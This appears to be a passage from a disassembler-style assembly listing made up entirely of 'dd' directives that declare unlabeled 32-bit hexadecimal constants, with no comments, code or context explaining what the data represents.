dd 6882F0E9h, 61A71C1Bh, 0E1DD9957h, 3F645F14h, 0A62C4A44h
dd 12631945h, 0E935C12h, 28C64A1Fh, 458A12E8h, 0A986B723h
dd 188FD44Dh, 0CAB529DCh, 331B273Eh, 20039C56h, 60CBD11h
dd 0F112F00Ch, 41FE80DCh, 0B2B054BAh, 0CCCDC972h, 69471472h
dd 5E764FE0h, 5E8F9F1Ch, 72606A69h, 769518B1h, 0FB2C0BA3h
dd 527BB0DDh, 801B0BB2h, 6AFEDBE2h, 0E96CF203h, 93EBEBAh
dd 3BD6858h, 5F4AFA44h, 291640A3h, 9CD8EFF8h, 3CF56B20h
dd 0EB2F21DDh, 0C06A5B74h, 0A77FE21Ah, 3B1775Dh, 9D769BE6h
dd 0C0F6B048h, 692E267Ah, 0A070218h, 0B1E4E7DEh, 98082B2Ah
dd 2D72DD0Bh, 0BD0E7D38h, 6A430B1Fh, 5D3BBB00h, 0E9340D91h
dd 0CC04BF8Fh, 80EC87BEh, 840329E5h, 0EF5DE9C9h, 8A4B44EEh
dd 0F3090796h, 25A7D2h, 0DCC6855h, 0D8789F2Dh, 0EAD901A2h
dd 0AAE946F9h, 6A326A74h, 58CB69C5h, 0D5EBB647h, 1FBEF490h
dd 37183418h, 0D3D08FEh, 0EED11B46h, 2F963010h, 32811652h
dd 7F457DE5h, 55F1950h, 35F59000h, 0B0F40956h, 125B0568h
dd 0C429744Dh, 13A1BE53h, 84E90B00h, 703194F5h, 483B2968h
dd 0F75A04EFh, 0F98042DAh, 7E35B40Ch, 84659CACh, 0EB23CDE9h
dd 0FC6AA8C9h, 6C731C79h, 0B8E90B21h, 0F6802E21h, 454DE09Dh
dd 0DC8710C9h, 6C50031Ah, 0C38663Dh, 96FB9240h, 0E91C20FAh
dd 30C052A2h, 8468C331h, 0F9189551h, 4892A1Eh, 465FF2Ah
dd 0D742B013h, 0F51E7868h, 0E92AC034h, 2C27F78Eh, 0E95D50D6h
dd 950A3D60h, 864069DCh, 12CA80DAh, 4E2C02Ah, 0BDD02C73h
dd 8204D36Fh, 2D093CBAh, 416442FFh, 0BF008374h, 6948140Bh
dd 16CF021Ah, 7562576Eh, 4C49CFE0h, 0E94F150Bh, 0C2AD625Ch
dd 48214262h, 4BDE683Ch, 5058A64Ah, 2F90F9FEh, 0A9381B4h
dd 0E44D715Fh, 81201AE8h, 0C33760Fh, 6B3E6845h, 274A83F9h
dd 93C9195Dh, 889AF7CDh, 98EE7075h, 2CDF4020h, 0D031F677h
dd 0D9F70EE1h, 913C5A8Eh, 0F1A6FE4Fh, 0EA2DB7FBh, 129A755Dh
dd 0F0DAF275h, 685E13F2h, 3A17B19Eh, 11FFFE7h, 0FA1CEFBh
dd 54B2AE12h, 0FCC408A4h, 0AA1D1D26h, 0A4C14DD7h, 0ECF39EB0h
dd 0CEEE6E94h, 3168827Bh, 0CE92A342h, 0F15D5178h, 80200720h
dd 0F9BE565Eh, 4AEA4E58h, 6896C8FEh, 1B234F27h, 80C325Ch
dd 0ECA3015Ch, 0AE24595Ch, 5E932128h, 15AB060h, 8C5CC977h
dd 0D0F66923h, 6461FBB9h, 0AB252D9Dh, 9F72F46Ch, 0ECC18951h
dd 930C67FDh, 0D6E1A202h, 0D84158B2h, 4B9368D0h, 8FB7E817h
dd 644CD55Eh, 0E904312Ah, 0FA54BB0Bh, 92B800E9h, 52A195Fh
dd 0F8111316h, 0C26E91E9h, 4F253B67h, 22CF9E81h, 0C105C786h
dd 17320847h, 0B42C76h, 5859CB88h, 1CEC5A72h, 0E0D8875Fh
dd 0F5E74D71h, 68B01858h, 71BD0751h, 833CEAD5h, 77845D13h
dd 2978F3F0h, 24A163Bh, 0FC2D95E3h, 4603FD28h, 0C7F7D10Dh
dd 5D0ED0EBh, 4F05BD26h, 1242211h, 270841BAh, 703DA357h
dd 7DE2239Fh, 5DC030F5h, 0D40184BDh, 0CB27D2AEh, 542593F0h
dd 6C825158h, 0DBE8952Eh, 1EB9684Eh, 6083A205h, 53F0EB9Eh
dd 160C9C80h, 43C9E029h, 0F5FA1341h, 0DAFDFBE2h, 12BE74Eh
dd 21B9CFE4h, 4C0CF492h, 0F5822794h, 0D5BDF7A9h, 0E075C262h
dd 9A2FE911h, 9DC0B76Fh, 50AB2E32h, 61F2FBC5h, 8566B792h
dd 0F64474E9h, 8180C580h, 1FC059EFh, 0D35205E7h, 5397A0DDh
dd 1ED6E195h, 0D2446Ch, 7C7F6F35h, 0CA05814Bh, 36F56D5Bh
dd 8CB687EAh, 0A14ED734h, 288773FBh, 4BFD8Ch, 0E633B2BBh
dd 0BD5B5F53h, 0F5975850h, 0E175B892h, 0A935E383h, 69E1B201h
dd 7EC3A26Bh, 14939225h, 0F5EB0596h, 862D077Bh, 8806ABAh
dd 8A9F15E9h, 0BD61A568h, 29E07027h, 0B25DF6EEh, 9C569580h
dd 8D64CE1Fh, 31805608h, 1447FDAh, 0E6C508B4h, 0FB81A620h
dd 1660CA3Eh, 47F82812h, 414FF0F1h, 480A29h, 913CA668h
dd 0CBE0AD88h, 719DAB98h, 2D6D8283h, 28D92BD1h, 0E023545h
dd 0AE12B1E9h, 85FBD788h, 538BEEB3h, 5E31AA4Eh, 0C9843BDBh
dd 825F10E5h, 0A7404D19h, 1C5409FDh, 7117F8B0h, 67243693h
dd 19D20810h, 0EF4329CCh, 55E8FC6Eh, 42EC09B8h, 0E6C6E22Fh
dd 2DC0504h, 84B82399h, 3667850Ah, 597C428Eh, 607DBD00h
dd 8E1A6F6Eh, 0C1161463h, 5EEE7E4Ah, 2D771932h, 9A9D40Eh
dd 0BFEB2129h, 41E94360h, 83469FC3h, 0C08294F0h, 9593B336h
dd 0FA6C15DCh, 0B33B03Fh, 1048CCCBh, 0A3E8248Fh, 43966804h
dd 6FAB3DFEh, 0E905D7F8h, 0BBFEF0A5h, 37F85253h, 5D68F87Fh
dd 0C70748B7h, 0AF3E331Dh, 467FC213h, 0ACE52F41h, 878B0E38h
dd 7538DDCFh, 0B9B0D0B3h, 58F0365Ah, 0F5C2826Bh, 610982C1h
dd 7DB22E84h, 0A684B890h, 0B6B940CDh, 2119B3Eh, 7236BE56h
dd 8ED54D84h, 93BE923Dh, 7BC1402Ch, 505685E4h, 61E8D088h
dd 0BB584965h, 0DE802BC4h, 336EB9E2h, 3A0C4237h, 207C47F1h
dd 0C139F08h, 0A70235E0h, 7F7842EAh, 23A6D801h, 5DE2FA98h
dd 80A0CC2h, 72F2015Ch, 30BC7BF9h, 14383A3Ch, 351860C7h
dd 0C21D6246h, 2942ED75h, 8AB8AE82h, 75D68702h, 50D4EF9Ah
dd 2C0C11Ch, 16E2CE81h, 0B84E50A0h, 0FCFAB708h, 0C1DC9ECh
dd 0C18169EEh, 0DDD4BF3h, 6655D86Bh, 0A2479B7h, 288AE3F1h
dd 202F41Ah, 0D8312DF6h, 71F5295Bh, 0AFCA6927h, 17FBC92Bh
dd 4B6871CCh, 0BA22C437h, 78E160ECh, 0C4997CD7h, 0BA00647Bh
dd 262A5FBEh, 0F77B4A0h, 0B2719028h, 0B8FB9A00h, 5A2C059Bh
dd 64255806h, 8050851h, 48B1C516h, 5301CB3Ah, 0C680B2Dh
dd 0E27F5E3Dh, 0B900068Ah, 5A996046h, 3A6DE828h, 0FDD325D9h
dd 0F51E0Bh, 2F33C9F8h, 60525C25h, 4C3E8E0Ch, 0C29F3444h
dd 58C3454h, 16734605h, 54BF0044h, 0E9485718h, 0A4122A5Fh
dd 0C3E582EAh, 11DA4FC1h, 692902EDh, 0AAECFDE3h, 357DF4CBh
dd 0AB46409Ch, 6855CE07h, 8A6ACDF1h, 0EAD33A32h, 975EEBF4h
dd 6284BA57h, 24A57A40h, 122E2CFh, 25210A05h, 2F23313Bh
dd 0EB024BE6h, 2E1829ECh, 7408780h, 289749A4h, 0E52608C4h
dd 28842216h, 83B299ECh, 15C8DD29h, 4F3A1368h, 0D65A7A84h
dd 5BD7B00h, 0A00C8D54h, 90EF8C8h, 0C53143A9h, 0F9E5F407h
dd 2D54C980h, 2CF9A811h, 0F7DA0D38h, 0CF4008DBh, 25578495h
dd 6E570199h, 20A88658h, 92F88FAh, 14EF0C8h, 2D6CB219h
dd 937195B9h, 82AF9896h, 47E3485h, 58BF5770h, 0C45BF515h
dd 24BB1C91h, 8EADBBF9h, 0F57DADD2h, 0E23D762Fh, 9BDF094h
dd 62D68D7h, 75F688E0h
dd 9BDCC117h, 0FE20C456h, 5AB655B5h, 6A22FEF3h, 60DD8B5Ch
dd 72045964h, 908FBFFEh, 0AAC39184h, 0A3EBB321h, 2CC2E793h
dd 0A5EF5209h, 5ADBC914h, 30BDD082h, 68FF31C4h, 2D3585A7h
dd 3A8B4156h, 3DDE18DFh, 7F843E64h, 1351D7ACh, 5E9AED0Eh
dd 922D5FF8h, 0F237EF7Eh, 0ED53DD57h, 0E90A3F58h, 0FBD225AFh
dd 0E22004B8h, 342863A4h, 0E7E9D4EDh, 342F3655h, 0B0EFAF5Fh
dd 0CAF86C35h, 1961D58h, 70BC7AE5h, 0FEC985E9h, 414FD677h
dd 0F6010549h, 363D4CEh, 0CA53B1DEh, 7AD4B5BFh, 0D2DFD0A2h
dd 5F68AC38h, 0B2C437E9h, 8B35FBA4h, 0C9B4C81h, 0EA340103h
dd 31BC2364h, 6E1E80A4h, 38609658h, 21493FC2h, 17E91A34h
dd 0FE425799h, 0FA06B45Ch, 99EEF38h, 0D7E4CF7h, 8E78A03h
dd 0F34FDFC1h, 8DA3C2F8h, 0F5E06F4Eh, 6D510E2Dh, 0E9B36BFFh
dd 2BE909C9h, 2EC664D6h, 87E5FB1h, 0BE1E7295h, 47E31C84h
dd 0F52081FBh, 30E63E03h, 0EE0D6D16h, 3CAED124h, 0A128E95Fh
dd 459FC3E0h, 13A22782h, 0B1007183h, 3DD9F6BFh, 6093C9FEh
dd 0AB4A52F7h, 95BED5C6h, 0A400DF5Eh, 5D5BF951h, 68F80B29h
dd 17D119CBh, 771D838Bh, 0CB053A14h, 1BAE29D2h, 4EBF02AFh
dd 0B5FF85Ah, 0BD5596E9h, 75690359h, 255F9911h, 0FA40EEECh
dd 0C49EF1C7h, 4067162h, 4DD2FE58h, 0D598DFA0h, 682DD901h
dd 696F56B8h, 0D29C84h, 0AB565DBFh, 0FFFAA2B4h, 0D2E9A9E1h
dd 2912345Ch, 0F7EFCB0Bh, 0CC7A6742h, 0BF4ABB7h, 9D710356h
dd 1E163078h, 342001D1h, 1334B57Ah, 0A684BF31h, 583AEDAEh
dd 5499B218h, 72712775h, 5F9AE978h, 0BD44A435h, 42BF60F2h
dd 0CB7CC038h, 145F1254h, 50DD0176h, 42030859h, 0CCF71798h
dd 1F3E3000h, 43E0EBCDh, 0A660793Dh, 0F81064Dh, 19A68C8h
dd 0EAD2606Ch, 0A7AA2085h, 65E985CFh, 7766ECB0h, 0F1A2953h
dd 0E95FC01Ch, 0F2BE7514h, 0BF10F54Bh, 609FC229h, 3F3D95FBh
dd 0F5762B16h, 0D6211C80h, 53DEF75Ah, 1F685100h, 0E909C661h
dd 180B9D93h, 55583E5Ch, 13015BE9h, 7D63E7AFh, 7E0D2F25h
dd 4A26830h, 80DB7EEBh, 2942C36Ah, 4B6050F6h, 5B08881Ah
dd 6A8833Bh, 2BD499Eh, 0D4EA0168h, 1744097Ch, 0D329A103h
dd 5A082840h, 3E96E91Ah, 5D6A85E7h, 0B0C25B97h, 1C575286h
dd 0C46D27A7h, 0C759CF89h, 0A561BE42h, 0DB7B763Ch, 0F412B3D8h
dd 14584948h, 4CA91150h, 0F8E10329h, 0AAE98D3Ah, 2DD565DFh
dd 905C5B56h, 0B4DD49E5h, 0B93095Ch, 0BBC0ED24h, 6A5E3968h
dd 0E65B0D8Ah, 496210F5h, 764ABD02h, 8B40E5D9h, 0DB582A0Dh
dd 28FD3CE7h, 9A008C5h, 98832D63h, 4A372E7Eh, 4B6DA853h
dd 0C6D81CE9h, 0F82D3157h, 89EEF65Fh, 11271756h, 226772D1h
dd 320904C4h, 0DD7BDD6Bh, 0CB029D59h, 0C06F9576h, 9DFEE633h
dd 0B324B565h, 5CE96812h, 0C6F62F77h, 0BD78637Ch, 0AC3A029Dh
dd 8BE94561h, 132D0D68h, 32C12F02h, 8F05D829h, 0C5EF9607h
dd 0C77D217Ch, 3964627Fh, 7B0F58CEh, 0B0B15940h, 2DCB799Eh
dd 51C8C7C6h, 563D2563h, 625AF039h, 4FA8D7B4h, 0FA175627h
dd 775FC749h, 71D6AB20h, 892CE6A4h, 0EE1636C8h, 54C0EDFCh
dd 0BB3DE569h, 2DABD258h, 0E9B32226h, 4037C73h, 854AE6BAh
dd 8D220EA5h, 0C729A86h, 4A24509h, 44F8D76Dh, 2CDED40h
dd 2A471E86h, 0AEA4AE9h, 0A791DBF7h, 3A5556DAh, 320541E1h
dd 55BC2E2Fh, 1563319Ah, 780C7FF1h, 5E1089B2h, 0B2F12F75h
dd 0DD17E4E8h, 2E652087h, 39804CF0h, 8ED0F8E7h, 0ADF66F6h
dd 680F067Fh, 0C55BFD28h, 0B1C05CF5h, 974CE972h, 16D5B4E2h
dd 21FE25BFh, 68841A51h, 0B9E81830h, 308F29CBh, 5CE781C0h
dd 0D2A05F09h, 70186BF7h, 8A0C6F0Fh, 44F50041h, 9DBA5247h
dd 11508C4Ah, 350AB2AEh, 0FD51015Ch, 88341900h, 4B20E93Dh
dd 0E68ABF21h, 0CAFD1C20h, 27D44C75h, 0DF6233E9h, 85A753F5h
dd 0AE365C68h, 25E9792Ch, 47414F3h, 23D37769h, 0B6B156E4h
dd 260FDDAh, 0D5822766h, 4F20507Ah, 9979001h, 1E055B3Dh
dd 0FB5CC03h, 8A421ABAh, 9557BFABh, 0A054A54Ah, 0B40DC402h
dd 744760Ch, 607F0665h, 4F1647CEh, 3EAC295Fh, 7DB3460Ch
dd 9D04B224h, 0FCE9EC62h, 0B32E24E1h, 90BFD76Fh, 0FEDBE488h
dd 58365E9Fh, 66803AD2h, 19C3ABFh, 0C61EC94Ch, 0F9314203h
dd 5B56BCE9h, 4225A7ACh, 0D7547DA7h, 707F6870h, 4EDEBD74h
dd 0E613D27Bh, 1602BE7Eh, 9FF1A25Fh, 6B8D652h, 3187B15Dh
dd 8CA26D1h, 5C3CFAB4h, 169616BBh, 4829C8DCh, 50B2DDDFh
dd 50174B61h, 314BE36h, 963A3928h, 0F749D460h, 76C9A926h
dd 0E2C14FA7h, 116F2884h, 6E7F38ECh, 0DEA50F4Fh, 84850804h
dd 0FB9FEF0h, 6A751B7Bh, 3B9ECA46h, 6EFEC61Fh, 0E8CD7FDEh
dd 8618C1Ah, 96CCA0DCh, 61E86F71h, 3F8B61Eh, 0C3805AF3h
dd 5BD881B9h, 0C0AAE27Bh, 68E7B050h, 0C56A53BAh, 0ACC3881Ch
dd 25E420F9h, 0B6D66ECEh, 0A02BDE60h, 0F281BD7Eh, 41384C73h
dd 352D1306h, 87584091h, 655C396Eh, 0B797104Fh, 7262B84Bh
dd 42563016h, 34B0FD20h, 0C1250479h, 834F04E7h, 58B8162Ch
dd 9BE6E9D0h, 0A30483D2h, 91FD3B0h, 311ADA8Eh, 72CC7C55h
dd 76903743h, 0CAF82EA1h, 270CB817h, 0E9D2B201h, 9C2EFA82h
dd 68BDFE16h, 7087E9C0h, 14D79723h, 4ACD9031h, 3761EBE6h
dd 0AE3ECD29h, 65AACA65h, 60DE8A2Dh, 8A794C3Eh, 0BF1F81Ah
dd 491238B3h, 8EC401FAh, 228073CCh, 601929CEh, 0F42E0C72h
dd 0F6B5AE2Ah, 57D1EB6Eh, 8EA508h, 6C01F581h, 217C1AEFh
dd 0AF5F18FAh, 331132FFh, 0EB38FBDAh, 652C854Fh, 99FFD901h
dd 57D597B5h, 0A6898CCh, 6E785ED9h, 75E90EEFh, 0B7EEEC53h
dd 716AB3EAh, 76B82615h, 55A65D4Fh, 0A2365F7Dh, 0DDE87FFDh
dd 0F441DBB8h, 5007A07Bh, 32746812h, 6080E589h, 6697017Ch
dd 0E175EBAh, 82EA4F3Bh, 22D05471h, 0BD807CFAh, 0D7291476h
dd 0A3328860h, 0F9575314h, 0B7B4A06Ah, 0C5BD1EBh, 0E247DDF5h
dd 48CA16D3h, 0EAA53C36h, 0D7608C99h, 2758BEB9h, 0ED81D002h
dd 4C71ABDFh, 0BE681553h, 61189052h, 3540341Eh, 102DBC09h
dd 8195E70h, 6425255Fh, 323A1494h, 0A13BC95h, 4B24A2F6h
dd 5E488BFh, 2F0E7597h, 2CA0EAB2h, 0B55972Dh, 16A25E36h
dd 1DEA87BEh, 0A6B74297h, 0C9A7E3F1h, 0BF28366Ch, 0BAF95825h
dd 5F5A0580h, 28011D99h, 0B5072DD8h, 4534D200h, 0E927263Ah
dd 9813DD74h, 0D313D8C3h, 0F3AF015Fh, 4AB9083h, 6EB12316h
dd 85F9ACBAh, 34F7A1F4h, 5A21F35Eh, 0C9ABA8C5h, 0BE28208Eh
dd 0CF38180h, 4E6B3BDBh, 31EA820Ch, 0EA01627Ch, 37846A7Fh
dd 4E80DA29h, 76528B3h, 0F5271E9h, 130449BFh, 5D90973Fh
dd 7BF26C35h, 12A94F73h, 3E75EF8Bh, 0C89E3AAh, 8F3894E9h
dd 0E59C0FC5h, 93645F3Bh, 0DFA29269h, 44D56D6Ah, 0AF304B84h
dd 0CED05D9h, 31657DFAh, 28645AADh, 0F5D8F3B4h, 410CF242h
dd 0FD3E30D3h, 22EC44Ch, 688389FCh, 1B126E7Ah, 98EA3394h
dd 0D54AF7E7h, 0E93021FBh, 3EBB28C4h, 3B503168h, 0B36BA1A7h
dd 80691F7h, 242889E9h, 0FD296112h, 5BC2A5Fh, 9D5EDB4h
dd 0E6485B68h, 80B34AE3h, 0EAEE8049h, 5AF58812h, 0FB0E580Bh
dd 8F98BD7Eh, 49F0AFDDh, 0B42D6688h, 2B584972h, 292EFB7h
dd 0CA6DE95Dh, 2DA3C10Bh, 48424DF0h, 0C6060A3Bh, 26A61751h
dd 0C3BBD24Ch, 91F08950h
dd 789658C2h, 0C4E3BC0Bh, 82CC546Ah, 1B99B59h, 5A5005BDh
dd 4183602Bh, 0B0BF28D3h, 491EB2E7h, 49B12E1Ah, 0D1A80C2Ch
dd 0F9B9057h, 77EB3AFEh, 0CDF0B6CBh, 96D3883Bh, 0D2B346C3h
dd 616EA5Fh, 7B8090EFh, 1F4A9C60h, 82CAE2F1h, 0F4386808h
dd 9D7886Ch, 0CAA85E12h, 6D4A52CBh, 19308901h, 787F2051h
dd 0B03D249Ah, 1E6FCC14h, 386EF80Bh, 0E3190C60h, 0A8BDA342h
dd 0E17D449h, 718FE581h, 0A0003E4Bh, 5C60728Ah, 0D412629Fh
dd 8F6B66B1h, 0E342595Bh, 419716C6h, 9ECCF1F9h, 892A257Bh
dd 252CEC57h, 0F17431C2h, 0C75A842h, 7E1E456Ch, 9C84DEBh
dd 0C9FE006Fh, 82AC180h, 0C059CE07h, 6F9E04EEh, 7B7FDEFAh
dd 0C6381D78h, 48F0240Ah, 270BC508h, 5A6D14DFh, 0A4DAC5B5h
dd 2DF19B02h, 9A08D2CEh, 2D82613h, 51396111h, 0ACB76360h
dd 51A0116h, 42552BFh, 0EACFE9C6h, 160BC9A9h, 2480D122h
dd 0D4552CF6h, 0CB184560h, 0B8B11B8Dh, 5EA84E6Eh, 21896756h
dd 0FAFCC1DDh, 0FCF0EB04h, 6D50485Fh, 0B9070720h, 23AC29A6h
dd 7E53ADA2h, 0BB77646Ah, 282D4E16h, 0EA43577Ah, 57E9A6C5h
dd 0B604AB5Fh, 0E9035C01h, 0C70E1039h, 0DF6D42CDh, 3EDC147h
dd 0EFE8619Eh, 562F0FBFh, 0A3C3AF42h, 51A4165Ah, 212CBA3Ah
dd 34E75E29h, 0D9A782C4h, 0BCED86E8h, 1C2F4716h, 0C1805CBBh
dd 51F12AA1h, 0CBF06FC1h, 7A4741C7h, 0E06FFDA1h, 36241ED9h
dd 0A7077660h, 7F49B7A8h, 0D54F2BD0h, 2F5516BCh, 0EB2BB07Ah
dd 0CB73563Fh, 0B44BDBF2h, 889DDA11h, 0F089B346h, 8386D98Ah
dd 4F2FB3BFh, 0E8B6E587h, 2008D28Ch, 685100C1h, 299935BCh
dd 75015924h, 6441E941h, 0D1268369h, 0F4DC9793h, 2541CB8Dh
dd 8A42B06Eh, 9C1D03Dh, 21FF3B9h, 0CADEE9CBh, 0F6945F2Ah
dd 31847DB6h, 0E9BB8BC8h, 57E9F0DFh, 0BDD492A2h, 0F482B4F4h
dd 433C5045h, 3065B04Dh, 1DE3BF78h, 1C081AF5h, 1100140Bh
dd 57A24AE3h, 0E0B5190h, 5206FC17h, 8DD19742h, 25E95950h
dd 0EBE8A1DBh, 8180EFE2h, 852409F5h, 0BAD474C0h, 0F36C970Bh
dd 54568BEFh, 460B9373h, 0CF652706h, 28A83B74h, 32F0EB92h
dd 484A61B9h, 9306EBC0h, 15E80774h, 6FF4562Fh, 51BE5DD2h
dd 0EFEDE92Ch, 0D3FB94BAh, 92C446D3h, 54A46DE8h, 0B8323787h
dd 0CA75EAFFh, 9EDA4074h, 5BF0947Dh, 97FD2EAh, 0C5F975CDh
dd 9DEC5F69h, 0F764E918h, 915BD30h, 1318F2Dh, 20DCE475h
dd 0E1E0AD02h, 3E2E92B0h, 0FEA5B591h, 0FDC74325h, 4A68E00Bh
dd 0B930DD70h, 8282DAB0h, 5555AA6Eh, 3680630h, 0C5CC5C4Fh
dd 0FD144B2Fh, 7DC89058h, 0F82F12A4h, 5AB1FE7Ah, 95770BE2h
dd 4288A4E8h, 82091640h, 9FE215Ch, 0B51066D7h, 97A0FA44h
dd 0C97038FBh, 8A0BBBCh, 0D1EB0CD2h, 53783CBh, 4BC62C88h
dd 3D70AAE5h, 0C927F668h, 7D057BDh, 0F09DC5E0h, 0E9924E67h
dd 619775CAh, 57001F7Ah, 68136655h, 0EDF76CC6h, 0FD2EE758h
dd 0C6B8082Bh, 0FB146432h, 88554AADh, 551D4217h, 0C68CA7BBh
dd 882F209Dh, 29E5809Dh, 984A4814h, 427509B1h, 28727971h
dd 3AE79805h, 65C231C7h, 4C3ED0CCh, 0C584765Fh, 89BE1306h
dd 3BAFED78h, 16105914h, 5735D094h, 5A91C388h, 4E39FB7Dh
dd 85C4BD6Eh, 8290BD95h, 5EB423E1h, 0C14D0052h, 0F3820D41h
dd 0B431297h, 8E6155DAh, 5D43E58h, 7925E8AAh, 0F1B85002h
dd 0DF20CD16h, 6E40F1EAh, 46EA30CAh, 2B4E2875h, 51E0FB8h
dd 34A2CF8Ah, 0AC278DA3h, 0E92752AEh, 5A90E114h, 5418B6Bh
dd 614B4E19h, 51A185C0h, 0C5067A6h, 0AE96C46Bh, 82D7CB0Fh
dd 0C231547Bh, 7A15F011h, 0F02580B8h, 66B50600h, 5E5F0B05h
dd 5AD9FEF1h, 0C28FB815h, 5F610E68h, 8275DE7h, 0F030D470h
dd 448478CFh, 8D34068h, 0CC4DB004h, 1C565E0Bh, 0DAA4D5C4h
dd 0A116028h, 0B353C1FEh, 0D94A1F79h, 0B1F3F661h, 86965D02h
dd 0F9EDF9Dh, 0B607CEA0h, 2E80C6B4h, 21DFDE3Eh, 4C63FAF2h
dd 56A00638h, 691F16BEh, 0E6004D07h, 3C4313DBh, 0CC6BF768h
dd 0B9075149h, 1BE66BCAh, 0FF59CD92h, 5DD90348h, 2CF57CFh
dd 0C365EA43h, 6804A4D7h, 0D6CAB57Eh, 0EB0FDF0h, 21FA5B31h
dd 0AD11230Dh, 0C1F22D96h, 18746855h, 0D1C08678h, 0F7509941h
dd 0CCC1DB2Ch, 1D3AF3Ah, 0F50994C7h, 0DD7A902Eh, 0FCB25DE9h
dd 2FBD5502h, 0E0657D16h, 2D1FAFC8h, 0F9F0050Ah, 9D01CFD3h
dd 4D2754EDh, 2920002Bh, 0CB9AE9D1h, 8C4FDE9Dh, 4952D0A9h
dd 0E34122B0h, 0A57E62Eh, 9F086A68h, 76F0BD60h, 756E5C65h
dd 5D4BEE20h, 0B4B75BECh, 0B8CFFBBh, 0F6751F60h, 402A5767h
dd 1FE305A7h, 12C4089h, 82088C8h, 7FC6C2BDh, 0F1B77914h
dd 0A07E4417h, 0E20481DAh, 7D1F0FA8h, 73BFC0AFh, 6A022565h
dd 0C7E9D089h, 2A1855C5h, 3B9915A3h, 2351DAA8h, 1BA97B86h
dd 7E5E808Bh, 559DD9A0h, 36BEC61Eh, 0B24ECA91h, 73DE109Eh
dd 84685305h, 0CBBAE81Ah, 5A12246Ch, 0DBC544EAh, 0E3800032h
dd 0C4FE533Fh, 94D6D47h, 0DA325D29h, 0A1096BDAh, 0D534697Ch
dd 0E91628E4h, 4B8D97BAh, 13579F1Ch, 20C670E9h, 3E2A838Ch
dd 6B270A7Bh, 9C97D5A5h, 564B0C2Ah, 0C9639B83h, 0C5CB5957h
dd 0C9E62D81h, 0D07D0502h, 71E88C3Bh, 371AC440h, 1C18187h
dd 0C57F43B2h, 0B699D19Fh, 0E4BDF4D8h, 8BB8FE5Eh, 0FF128C85h
dd 8DCFF721h, 96550B07h, 0CD48D456h, 96C1F341h, 0E8006D62h
dd 8149636Dh, 1A18E2C2h, 8E0C7554h, 0C09F27A2h, 0A1E283FFh
dd 8017841Dh, 0F031E0DAh, 0B148B6F8h, 0E7EE8099h, 5A7B562Dh
dd 6C258001h, 475BB22Bh, 8101B6A9h, 5B66ECEDh, 2ADB2009h
dd 5D756E05h, 0B1C4E5D1h, 2BC3E4EAh, 169E581Eh, 6EB18FD2h
dd 6F895BE0h, 0E0616AFBh, 9D534D46h, 0CF49130Ch, 0AD287747h
dd 20BE2008h, 5E2EAEC0h, 593D3189h, 6D7C06A4h, 514E6943h
dd 0FC6007EFh, 49540FCh, 13A1984Eh, 4C8182D2h, 0AFBB539Fh
dd 0DA770C89h, 77EAEB09h, 0AC6255D1h, 0F65FD6Fh, 9651243Eh
dd 6558BD80h, 0BD4514BAh, 51E9A450h, 5C5428Bh, 68A291EEh
dd 10C2323Bh, 8913DE12h, 6CFE00E5h, 46208655h, 5A99709Fh
dd 67E4A14Fh, 0DC7B1EECh, 0D7F705E0h, 0C078140Ah, 331F3CA1h
dd 0D5FDD0CAh, 0B5C20820h, 0CA82E95Fh, 3AF87D47h, 0CF2C67E0h
dd 0DB46970Fh, 315A58E7h, 83A4A23Eh, 0CBD7096Ah, 31499EFFh
dd 0C8C5F541h, 0A44AB159h, 4BAF7DA3h, 91292C25h, 2F1CBFE9h
dd 3957B198h, 5BB20E05h, 0DD0BF44Eh, 305290C1h, 7FC97248h
dd 0A7435DC6h, 6620CC25h, 0C5F91F1h, 68197729h, 0D1611B2Dh
dd 0CD940C89h, 7C4F045Ch, 0FE7427FCh, 98DD955Bh, 4FE2DF8Fh
dd 7FA4A7FEh, 84BD46FAh, 0C880B473h, 25683AC4h, 9C57738Fh
dd 0B33AC52Ah, 5100BFA7h, 0C380CBFEh, 0FBE975D5h, 31B9C82Eh
dd 90F440Fh, 0F010A9C8h, 1DF4BF4Eh, 802B8C70h, 4693D821h
dd 0BB30933Eh, 899F71FEh, 3C3C31EFh, 1DFF4A41h, 0D9820F0h
dd 0DB8DBC25h, 0AD520962h, 0F26DC455h, 2CF55596h, 0BD1D5520h
dd 5B88180h, 1C05AA52h, 7A0A92BBh, 0A6AD6CC1h, 9F82AF04h
dd 17AAE159h, 49D7BAF3h, 123A29E5h, 2B84FB6Fh, 8220B3EBh
dd 0F2FF3AE9h, 5301588Fh, 0FD68D9C2h, 0D3AFC059h, 0E23313DCh
dd 4B094C7h, 234D600Bh, 5A0776C3h, 0E958800Dh, 48953314h
dd 0CE1011C2h, 0EF4FC5C5h, 5BFD4A5Dh, 0BB251730h, 544C6849h
dd 126DC241h, 4E26460Ah
dd 0D5055B0Bh, 78DF461Ah, 0E3088B4Fh, 0F50635EEh, 0AE645B0Dh
dd 13E53798h, 0EF3AC141h, 1A026801h, 0C243609h, 95C9F8F0h
dd 3B9CD949h, 0E61E24FAh, 36F69302h, 0D7572Eh, 2D410958h
dd 7A013725h, 0E996608Fh, 2974CE79h, 8BF8BD5Bh, 0FAECF44Fh
dd 5675E24h, 87E328C2h, 8BE9574Fh, 12BFD6F8h, 0CB47DDBFh
dd 4BDBF704h, 49D1F0FEh, 65B5B816h, 50FB36C2h, 0BE5B711h
dd 0B62C173Fh, 16DD338Ch, 25EC35h, 3A047C56h, 0E19F3177h
dd 0C46812A8h, 455A3F47h, 95F2A783h, 165B09C8h, 5CCC6857h
dd 7FEB2568h, 0F7551A7Ah, 7B37E149h, 1286D814h, 3DEB56DAh
dd 0C4F62B05h, 57744612h, 2383AA80h, 0F626DAEEh, 0AFEF97F0h
dd 0B6011983h, 0EE1C445Ah, 308F7F95h, 0D542286Bh, 0D5C512F5h
dd 0E8D3B136h, 500CDEFFh, 7582CBFAh, 0A2F7BEC0h, 36283BCh
dd 0B23BDD4Fh, 965C71D9h, 0BBE5616h, 0D9D00E26h, 2084BA04h
dd 0AFE4391Ah, 345F1757h, 6194A03Ch, 9006DFE3h, 73D26C46h
dd 939D0B0Ch, 57918C0Ch, 0B08B50DDh, 0C60408ADh, 0CEFE5866h
dd 5E719AE6h, 0AA4590D2h, 112C0A63h, 403F0143h, 2E220BBEh
dd 0B98260B9h, 16DE56F7h, 1B15DE48h, 3BBA03A6h, 0D273AC02h
dd 4E21588Eh, 0AEC728h, 41B551D8h, 0A4B8E8E0h, 50204569h
dd 388A20CEh, 0CF2FEB98h, 0FA594655h, 83A9CD5Eh, 92D52E91h
dd 58034022h, 67F1B522h, 40B46861h, 0E913DD23h, 0B887402Fh
